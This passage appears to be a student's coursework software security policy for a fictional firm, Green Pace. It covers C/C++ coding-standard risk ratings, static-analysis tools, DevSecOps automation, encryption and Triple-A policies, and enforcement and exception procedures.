| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 7.2p0 | **BADFUNC.ABORT BADFUNC.EXIT** | Use of abort Use of exit |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **122 S** | Enhanced Enforcement |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2022b | CERT C++: ERR50-CPP | Checks for implicit call to terminate() function (rule partially covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **stdlib-use** | Partially checked |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Automation helps the DevSecOps process flow smoothly. The use of automated tools can increase our productivity, while *also* increasing our focus on secure code by building in various healthy security practices into our infrastructure. For example, in the “Verify and test” phase of the above diagram, we will implement automated vulnerability scanning to help identify vulnerable elements of our code. Additionally, unit testing will implemented in the same area so that we can transition to a test-driven development (TDD) environment that is more in line with DevSecOps and will improve our focus on proactive security measures. This will also be seen in the design stage, since that is actually where the design, including tests, will be built – but then we’ll see those tests run at this stage to see if our design lived up to our expectations and allow us to adjust to make the application more secure as needed at this testing stage.

This aligns with our 3rd Principle, Architect and Design for Security Policies. By utilizing a TDD approach we design with security in mind and then verify this with automated tests in the “Verify and Test” portion seen in the diagram above. Similarly, this helps ensure we are enforcing our Coding Standards because unit testing and scanning for vulnerabilities can help with preventing nearly all of our top 10 coding standards, such as “Do not define a C-style variadic function” and “Ensure that integer conversions do not result in lost or misinterpreted data.”

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | High | Probable | Medium | **P12** | **L1** |
| STD-002-CCP | High | Probable | High | **P6** | **L2** |
| STD-003-C | High | Probable | Medium | **P12** | **L1** |
| STD-004-C | High | Likely | Medium | **P18** | **L1** |
| STD-005-C | Medium | Probable | Medium | **P8** | **L2** |
| STD-006-C | Low | Unlikely | High | **P1** | **L3** |
| STD-007-CCP | Low | Probable | Medium | **P4** | **L3** |
| STD-008-CCP | Medium | Probable | Medium | **P8** | **L2** |
| STD-009-CCP | High | Likely | Medium | **P18** | **L1** |
| STD-010-CPP | Low | Probable | Medium | **P4** | **L3** |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | Encryption at rest involves using encryption on data that will be stored (hence at rest), thus requiring decryption to read the sensitive data and making it significantly harder to access/use. We will encrypt any data that is to be stored/retained by using symmetric cryptography to scramble the data into ciphertext. It will then require the same key to decrypt the data back to plaintext. This will keep any sensitive, confidential, and/or proprietary information safer from malicious actors. |
| Encryption at flight | Encryption in flight refers to encrypting data as it is transmitted. We will avoid using FTP, instead using more secure methods like SCP or SFTP. We will use TLS on our web connections, and use a VPN for secure, remote access to our network. This will help ensure that our data is handled/transmitted safely throughout our network, avoiding intentional/malicious loss of data during transfers. |
| Encryption in use | Encryption in use refers to protecting data that is in use – such as actively being handled in memory/code/databases. We will protect data in use by using Multi-Factor Authentication and the Triple A framework for access control roles and authentication to avoid malicious actors accessing data, as well as accounting to monitor for any intentional/accidental mishandling of data in use. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication is the first step in the AAA security process and describes the network or applications’ way of identifying a user and ensuring the user is whom they claim to be. For our organization, each user must have a unique and valid password and user account to login. So, this is the first prong in the AAA framework for protecting our organization and our data. |
| Authorization | Authorization refers to determining what activities, resources, or services a user is permitted to use/access. Authorization usually occurs within the context of authentication; once you have been authenticated, AAA security authorization assigns the appropriate user properties/permissions that describe what they are authorized to perform. This can be seen in the various access roles for our organization. Base access will be able to make changes to the database and no more. Manager roles within IT will have heightened access and be able to add new users, as well as assign the level of access to each user, for example. |
| Accounting | Accounting refers to a variety of ways that users/resources are monitored in the system. Our employees’ access to files is monitored to ensure the safety of our resources – we can monitor when files were accessed, by who, and changes they made to each file. This protects our assets, employees, and our clients. This helps ensure that those with authorization are using their roles appropriately and not mishandling data. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 1.1 | 01/22/2023 | Updated Changes | Brennan Reed |  |
| 1.2 | 02/12/2023 | Revisions from 1.1 | Brennan Reed |  |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |